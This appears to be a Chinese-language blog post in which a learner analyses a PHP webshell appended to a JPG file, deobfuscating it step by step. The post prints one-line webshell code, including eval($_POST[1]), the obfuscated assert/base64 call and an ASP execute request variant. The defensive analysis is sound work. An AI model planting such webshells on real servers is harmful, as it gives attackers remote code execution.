← Back to list

【逆向筆記】拆解 jpg中的一句話木馬

因為預計今年年底報考 TCM 的 PMRP,所以會開始學習有關逆向分析的知識 該系列會針對獲得的樣本進行逆向分析筆記,因為還在學習中如有錯誤請見諒

segalee · 2026-05-20 02:01 · 7 claps · 4.8 min read
#trojan #malware-analysis #blue-team #infosec #cybersecurity
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

【逆向筆記】拆解 jpg中的一句話木馬

【逆向筆記】拆解 jpg 一句話木馬

【逆向筆記】拆解 jpg 一句話木馬

因為預計今年年底報考 TCM 的 PMRP,所以會開始學習有關逆向分析的知識 該系列會針對獲得的樣本進行逆向分析筆記,因為還在學習中如有錯誤請見諒

此樣本為偽裝成 JPG 圖檔的 WebShell 樣本,曾於真實環境伺服器中觸發 Microsoft Defender 偵測,後續於隔離實驗室環境進行分析

下圖為本次分析的圖片內容

jpg

jpg

首先確認該檔案的 SHA256 hash:

16ecb2270554e7a040edb924a64895624b2cee0cd406ccaaf24f9112eb70a021

16ecb2270554e7a040edb924a64895624b2cee0cd406ccaaf24f9112eb70a021

比對情資後,確認有 7 家廠商判定為惡意

16ecb2270554e7a040edb924a64895624b2cee0cd406ccaaf24f9112eb70a021

16ecb2270554e7a040edb924a64895624b2cee0cd406ccaaf24f9112eb70a021

接著確認該檔案格式可被辨識為 JPG,檔案大小為 11.28 KiB。

jpg

jpg

接著開啟 HxD 檢查該 jpg 檔,首先查看該檔案開頭是否為 FF D8 FF

FF D8 FF是 JPEG 的 Start of Image,確認該檔案為 JPEG沒錯

FFD8FF

FFD8FF

接著搜尋 FF D9 End of Image,發現在 FF D9 之後還有很多奇怪的資料

FFD9

FFD9

仔細檢視發現,在 jpg 結束後接了一段 PHP 程式碼 <?php...

php

php

將 JPG 尾端附加的 PHP 程式碼複製至 Notepad++ 檢視後,可以看到 payload 前半段使用大量底線變數、字串遞增等混淆手法,最後一段則會呼叫前面動態拼接出的函式,將 Base64 字串解碼後交由 PHP 執行

php

php

首先先解碼最後一段的 Base64 後發現內容為 eval($_POST[1]),代表攻擊者可透過 POST 參數 1 傳入任意 PHP 程式碼並由伺服器端執行

Base64

Base64

為了了解混淆內容,嘗試直接執行 php.exe 並列印出混淆的指令, 先將原始危險呼叫註解,避免實際執行 WebShell payload

php

php

接著用 echo 列印混淆後產生的函式名稱。

php

php

接著嘗試使用 php.exe 直接執行該 PHP payload,但因為前段混淆語法適用於舊版 PHP,在 PHP 7.x / 8.x 環境中會出現錯誤 因此前段混淆改以直接解析並替代的方式進行後續分析

先分析開頭這段 php 程式碼

$_="";  
$_[+$_]++;  
$_=$_.""; 
$___=$_[+""];//A

知道了 $_ = "A"; $___ = $_[0]; $___ = "A";後將腳本前段的混淆替代改為

php

php

執行 php.exe 後可以知道 $_ 最後等於 BASE64_DECODE$__ 等於 ASSERT

php

php

此原始危險呼叫:

$__($_("ZXZhbCgkX1BPU1RbMV0p"));

可還原為

ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbMV0p"));

再往下一層,Base64 解碼結果是:

eval($_POST[1])

所以最終惡意指令如下圖,確認了這是隱藏在jpg的一句話木馬

php

php

此樣本在一般圖片檢視器中通常不會直接執行,但當它被上傳或放置到 Web Server 後,若伺服器錯誤地將 JPG 當作 PHP/ASP 腳本解析,就可能造成遠端程式碼執行

另外,在 PHP 區塊後方也發現 ASP 語法的指令,同樣是一句話木馬,推測攻擊者可能同時準備 PHP 與 ASP 兩種環境下的備援 WebShell payload。

asp

asp

結論:該腳本是一個混淆型 WebShell,並符合一句話木馬特徵,PHP 部分透過字串遞增與拼接方式隱藏 base64_decodeassert,最終還原為 eval($_POST[1]);ASP 部分則使用 execute request("1") 作為 ASP 版本的一句話木馬,若此檔案被 Web Server 當作 PHP 或 ASP 解析,攻擊者可透過參數 1 傳入任意程式碼並在伺服器端執行

此次分析到這邊就結束了,這個樣本看起來是比較舊型態的木馬,若目標環境已更新 PHP 版本、正確設定,則此木馬成功執行的可能性會大幅降低


메타데이터
post_id
eb091dc128ba
slug
逆向筆記-拆解-jpg中的一句話木馬-eb091dc128ba
url
https://medium.com/@sega_tw/%E9%80%86%E5%90%91%E7%AD%86%E8%A8%98-%E6%8B%86%E8%A7%A3-jpg%E4%B8%AD%E7%9A%84%E4%B8%80%E5%8F%A5%E8%A9%B1%E6%9C%A8%E9%A6%AC-eb091dc128ba
canonical_url
https://medium.com/@sega_tw/%E9%80%86%E5%90%91%E7%AD%86%E8%A8%98-%E6%8B%86%E8%A7%A3-jpg%E4%B8%AD%E7%9A%84%E4%B8%80%E5%8F%A5%E8%A9%B1%E6%9C%A8%E9%A6%AC-eb091dc128ba
author_url
https://medium.com/@sega_tw
status
ok
fetched_at
2026-06-15 20:49:13